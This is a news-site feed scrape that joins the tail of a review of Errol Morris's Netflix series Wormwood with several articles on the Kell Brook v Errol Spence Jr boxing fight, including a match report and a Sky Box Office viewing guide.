I should probably leave it at that, plot-wise, because one of the pleasures of Wormwood is the degree to which Olsen’s death becomes a Pandora’s Box, one whose connections and consequences keep getting wilder and wilder. Suffice to to say that by the time Sy Hersh shows up, telling Morris of the film’s central mystery, “I probably know, but I can’t tell you,” it’s become much more than a true crime documentary. It is, at its core, about the question of knowability – and if it’s better to suspect something terrible without confirmation, or to know it for sure.

So, over the course of its four-plus hours, Morris almost imperceptibly changes his subject, from Frank to his (now pushing-70) son Eric, who has spent his entire adult life trying to find out, once and for all, how and why his father died. It’s a life spent pursuing a truth he could probably never really find – and on some level, he probably had to know that. But he kept on anyway. “We don’t actually know,” he confesses at one point. “So what is this about?” Ultimately, it’s about obsession, and its accordant melancholy. Someone took Frank Olsen’s life in that hotel room high in the New York sky 64 years ago – but this is another life that death continues to take.

What’s most impressive about Wormwood is that Morris could’ve easily done it in his established style, made a great documentary, and left it at that. But with the exception of a couple minor flourishes (he still loves the way giant newspaper text looks on a screen, so close you can see the texture of the paper), he jettisons most of what we think of as the Morris Style. The Interretron, his distinctive straight-into-camera set-up, is gone; in its place, he and his cinematographers have shot his interviews with ten cameras rolling simultaneously, allowing him, for effect, to split the screen into two, three, or more pieces. It’s a snazzy aesthetic trick, yes; but it also fits the function of the work, which is like sifting through puzzle pieces, trying to fit them into a picture that makes sense.

So there’s a mastery of his craft, the kind that perhaps can only be attained by doing this as long as Morris has: he knows when to hold a pause, when to flip the style, and how to arrange these elements, both staged and found. The editing is magnificent (the DOC NYC screening presented it in its theatrical form, as basically a long documentary film with an intermission; it will screen in a few markets in that format, simultaneous to its episodic debut on Netflix in December), and he’s always had a stylish visual sense, so the addition of narrative passages makes sense. The only hesitation, early on, is that the documentary sections are so gripping, the dramatic ones can seem a distraction.

But then they start to work, for reasons that Morris made explicit in his post-screening Q&A. “It’s the dramatization of untruth,” he said. “It’s taking you into that world of a contrived story, and bringing it to life in some crazy way. It never made sense to me, it still doesn’t make sense, but it provides that matrix for the movie. And since it is a story contrived by the CIA, and maybe this is some elaborate justification for the movie – and why not, I don’t justify myself, who’s gonna do it – it’s a way of presenting a story in a story, that was both ironic and deeply disturbing.”

The dramatic scenes ape the visual language of a spy thriller, jazzy and moody; editorially, he builds them as an extension of the re-enactments he’s used in The Thin Blue Line and elsewhere, just now with dialogue and name actors. Chief among them is Peter Sarsgaard, who’s ideal for this kind of minimalist, impression-based role; he’s always been an actor who could convey multitudes in a nod, a glance, a line, the little grin-and-bear-it after he confides to his wife, “They’re concerned that I might be a danger to you and the children.”

By the time Wormwood arrives at its bravura conclusion, it’s clear that Morris has created something special here – both the logical extension of his best films, and an electrifying new way of working. In the Q&A, I asked him if he saw himself continuing to create in the “everything bagel” mode, and he responded with the enthusiasm of a film school graduate who was just handed a new 4K camera: “Kinda, yeah! Why not?”

But then he clarified. “Roger Ebert asked me once if I could define the difference between documentary and drama. And I said, ‘Well that’s easy. Two zeros’… I would continue doing this, I have a whole number of ‘everything bagel projects’; the only problem is that they’re very costly. The minute you start recreating the ’50s onscreen, casting actors, creating sets, throwing people out windows, et cetera, the costs ratchet up. But yes, I do wanna do it again. I just need to find those companies willing to pay for it. I’ve developed an expensive hobby! But I kind of love doing it.”

Wormwood debuts in theaters and on Netflix on December 15.

                    

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]]> https://briefnews.eu/errol-morris-on-creating-the-everything-bagel-of-his-new-netflix-series-wormwood/feed/ 0 Kell Brook suffers nasty eye injury as he relinquishes IBF title to Errol Spence Jr https://briefnews.eu/kell-brook-suffers-nasty-eye-injury-as-he-relinquishes-ibf-title-to-errol-spence-jr/ https://briefnews.eu/kell-brook-suffers-nasty-eye-injury-as-he-relinquishes-ibf-title-to-errol-spence-jr/#respond Sun, 28 May 2017 03:01:34 +0000 http://briefnews.eu/kell-brook-suffers-nasty-eye-injury-as-he-relinquishes-ibf-title-to-errol-spence-jr/

Kell BrookREUTERS

Kell Brook suffered a nasty cut to his eye during his injury

Sheffield star Brook was playing his part in the cracking contest before he suffered a horrible swelling around his left eye that paved the way for Spence to take the stoppage.

And the classy American was not going to pass up on the opportunity as Brook took a knee in the 11th before referee Howard Foster waved it off with the defeated champion blinking in pain.

Brook did not argue, he knew it was over as he conceded defeat.

‘Special K’ admitted he could not see out of the left eye by the end and it was the right decision for the bout to be stopped even if the home crowd were left disappointed.

Brook this time had his left eye smashed up after middleweight champion Gennady Golovkin shattered his right orbital socket in his last outing.

The fans were upset to see their man lose but also to be denied seeing a 12-round finish to a pulsating fight.

Spence came to the UK with a lot of hype behind him and proved he could go on to be a great in this sport with a mature performance in his 18th outing of a so far unblemished career.

Brook has now lost twice in his 38-fight career but there was no shame here even though his dream night at Bramall Lane turned into a nightmare.

Wed, December 14, 2016

These are the legendary boxers who could dominate the boxing ring during their time

1 of 11

Errol Spence JrREUTERS

Errol Spence Jr celebrates his title win

Bramall Lane, the famous old home of Sheffield United, played host to boxing for the first time since 1984.

That night it was local favourite Herol Graham, one of Britain’s best to never win a world title, in action but this night was all about their current favourite.

Brook bounced on his toes to the ring built on the centre circle of the pitch where his beloved Blades play with his tune ‘All of the Lights’ sending the 27,000-strong crowd wild in a raucous atmosphere.

He used to be bounced up in the air by his uncle Johnny on the Kop stand whenever United scored.

Back then he was only six and Johnny Brook predicted then that his nephew would one day fight here.

It was the latest in a long line of predictions made by the uncle and another one was that Brook would come out of this as the winner, but unfortunately mystic Johnny would not get this one right.

Brook was up against it in his hardest fight at welterweight and coming off his first career defeat to Golovkin last September in a middleweight clash.

Spence is being built in America as the heir to Floyd Mayweather Jnr’s throne as boxing king on that side of the Atlantic and showed the potential he has here.

Kell BrookREUTERS

Kell Brook went down bravely

He had received a little less of a pleasant welcome when he walked out before Brook as the challenger with chants of “who are ya?” from the proud Yorkshire crowd.

Brook, in the candy stripe colours of his favourite football team, had been charged up on his ring walk but was patient when the first bell rang.

The pair initially stood off looking to counter or feint the other into throwing first.

When they did exchange, it was high-quality action from two highly-skilled fighters.

Spence’s southpaw jab was proving difficult to get past for Brook but, when he did in the second, he went to the body and found a way through for a right hand to the head.

It got the crowd going but only brought a smirk from Spence who retaliated with a slick combination of his own in another tight round.

Spence upped the pace at the start of the third and hurt a flustered Brook with a sharp right hook.

Brook allowed Spence to then rattle in a right hand followed up a left hook as he dropped his guard going in.

The defending champion tried to salvage the round by forcing Spence back on the ropes but he couldn’t land cleanly without being countered.

The fourth started fast with both landing their back hands before Spence sunk in a couple of body shots.

Brook responded with a right uppercut in a tit-for-tat three minutes.

Many pundits were struggling to pick a winner before this and it was proving to be the tight affair everyone expected.

Brook landed a fast right-hand counter close to the end of the fifth but there was time for Spence to retaliate with a southpaw jab and left before the bell.

The sixth round was thrilling and started with Brook catching Spence off balance which sent him into the ropes.

Spence responded with a pin-point left hand before Brook sunk a right into the American towards the end of the round.

The challenger was not wilting in his first fight in England since he lost his London 2012 quarter-final and left the country without an Olympic medal as an amateur.

Brook’s left eye appeared to start to swell in the eighth, but the man himself said afterwards he felt it go in the seventh.

Spence was lashing in the body shots too and towards the end of the ninth the American started piling on the pressure with powerful combinations.

Brook started to look in trouble before the bell and the swelling over his eye was becoming more of a concern.

The home crowd roared their man on at the start of the tenth but Brook was down after a series of heavy shots.

The referee circled as Spence smashed Brook around with superb lefts.

Somehow Brook managed to survive even with the swelling seriously hurting his vision.

Brook started the eleventh brightly but it was only brief as Spence’s shots finally forced the finish and the Sheffield man to concede defeat.

Brook was blinking as he appeared in pain and took a knee to avoid more punishment before Foster took him out of his misery by waving it off.

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]]> https://briefnews.eu/kell-brook-suffers-nasty-eye-injury-as-he-relinquishes-ibf-title-to-errol-spence-jr/feed/ 0 Kell Brook v Errol Spence Jr live stream – How to watch Sky Sports Box Office boxing LIVE https://briefnews.eu/kell-brook-v-errol-spence-jr-live-stream-how-to-watch-sky-sports-box-office-boxing-live/ https://briefnews.eu/kell-brook-v-errol-spence-jr-live-stream-how-to-watch-sky-sports-box-office-boxing-live/#respond Sat, 27 May 2017 20:37:10 +0000 http://briefnews.eu/kell-brook-v-errol-spence-jr-live-stream-how-to-watch-sky-sports-box-office-boxing-live/

IBF welterweight world champion Kell Brook is looking to defend his title in front of his hometown supporters at Bramall Lane tonight.

The Brit will take on American Errol Spence Jr – who has a record of 21 wins from 21 contests.

Brook, 31, fought two divisions higher than his US opponent when he suffered a broken eye socket in defeat by Gennady Golovkin last time out.

“I think there will be a lot of drama,” Brook told the BBC. 

“We could both maybe hit the canvas.”

Meanwhile, promoter Eddie Hearn told Sky News that Kell Brook specified the venue, which has not hosted boxing since 1984.

“We had the opportunity to have this fight in London, in America, but he wanted it at Bramall Lane in front of his people,” he said.

“We know how tough this fight is. The bookies have made Errol Spence the favourite and that is huge for an American fighter travelling to someone’s back yard.

“That’s because he’s a very good fighter. He’s been seen as the new Floyd Mayweather in the division.

“I believe Kell is the best welterweight in the world and tonight we’re going to find out who is the best. It’s a great fight for fans all around the world because it’s the best against the best.”

There are a number of ways to follow the fight tonight, so if you’re away from a television and want to keep track of the score, here is Express.co.uk’s guide to make sure you don’t miss a minute.

How To Watch Kell Brook v Errol Spence Jr

The main fight of the night is being shown exclusively on Sky via their pay-per-view Box Office channel.

Sky’s coverage on Box Office begins from 6pm tonight – expect the big fight between Kell Brook v Errol Spence Jr to start around 10pm.

Ordering tonight’s boxing via Sky will cost you £16.95 and can be purchased by visiting my.sky.com/orderboxoffice/.

You can also book the boxing via your Sky remote, or telephone – 03442 410 888.

Booking Instructions

Press ‘Box Office’, select sports and events. Use the arrow buttons to highlight the event.

Press select and the buy screen will be displayed. Press select to confirm your order. Enter your pin if prompted.

You can only record the event by using this method.

If you want to watch it live on your PC/Desktop, go to www.skysports.com/boxofficelive.

If you want to watch via your NOW TV Box, download the Sky Sports Box Office app on your NOW TV Box and click to access the event.

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]]> https://briefnews.eu/kell-brook-v-errol-spence-jr-live-stream-how-to-watch-sky-sports-box-office-boxing-live/feed/ 0 Kell Brook v Errol Spence Jr undercard LIVE: All the action as Dave Allen gets in the ring https://briefnews.eu/kell-brook-v-errol-spence-jr-undercard-live-all-the-action-as-dave-allen-gets-in-the-ring/ https://briefnews.eu/kell-brook-v-errol-spence-jr-undercard-live-all-the-action-as-dave-allen-gets-in-the-ring/#respond Sat, 27 May 2017 19:03:54 +0000 http://briefnews.eu/kell-brook-v-errol-spence-jr-undercard-live-all-the-action-as-dave-allen-gets-in-the-ring/ Sheffield – are you ready?

Earlier this week, Tony Bellew said that Sheffield needed a new sporting hero and he believes Kell Brook is ready to be that hero.

He has already twice fought in Sheffield as world champion but this, at the home of his beloved Sheffield United, is bound to be special.

Victory is no certainty though. Plenty of people who know in boxing think Errol Spence Jr could be quite special and he is still unbeaten after 21 fights. Brook will have to work hard for this one.

There is also a tasty undercard including George Groves going for his first world title at the fourth attempt and Dave Allen, he of the pants antics yesterday, fighting for a Commonwealth heavyweight title – his biggest contest to date.

We’ll be here all night with updates from our man on the ground Chris McKenna who is on the Costa del Sheffield in the sun.

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